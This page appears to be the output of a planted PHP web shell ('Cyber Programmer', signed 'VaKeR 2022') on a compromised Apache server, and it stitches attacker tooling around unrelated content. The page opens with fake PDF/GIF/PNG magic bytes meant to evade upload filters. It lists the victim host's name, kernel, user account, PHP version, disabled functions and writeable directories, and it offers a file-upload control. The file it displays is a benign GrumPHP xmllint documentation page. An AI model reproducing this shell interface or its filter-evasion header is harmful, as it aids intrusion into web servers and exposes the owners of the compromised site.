%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/xmllint.md
# XmlLint

The XmlLint task will lint all your XML files.
It lives under the `xmllint` namespace and has following configurable parameters:

```yaml
# grumphp.yml
grumphp:
    tasks:
        xmllint:
            ignore_patterns: []
            load_from_net: false
            x_include: false
            dtd_validation: false
            scheme_validation: false
            triggered_by: ['xml']
```

**ignore_patterns**

*Default: []*

This is a list of patterns that will be ignored by the linter. 
With this option you can skip files like test fixtures. Leave this option blank to run the linter for every xml file.


**load_from_net**

*Default: false*

This option can be used to tell the linter if external files can be loaded from the net.
When enabled all online DTD and XSD resources will be loaded and validated if required.
You can speed up the validation a lot by disabling this option.

**x_include**

*Default: false*

By enabling this option, the xincluded resources you specified in the XMl are fetched. 
After fetching the resources, all additional validations are run on the complete XML resource.


**dtd_validation**

*Default: false*

It is possible to validate XML against the specified DTD. 
Both internal, external as online resources are fetched and used for validation.


**scheme_validation**

*Default: false*

It is possible to validate XML against the specified XSD schemes. 
Both internal, external as online resources are fetched and used for validation.

**triggered_by**

*Default: [xml]*

This is a list of extensions to be sniffed. Extend it for including xsd, wsdl, and others.

VaKeR 2022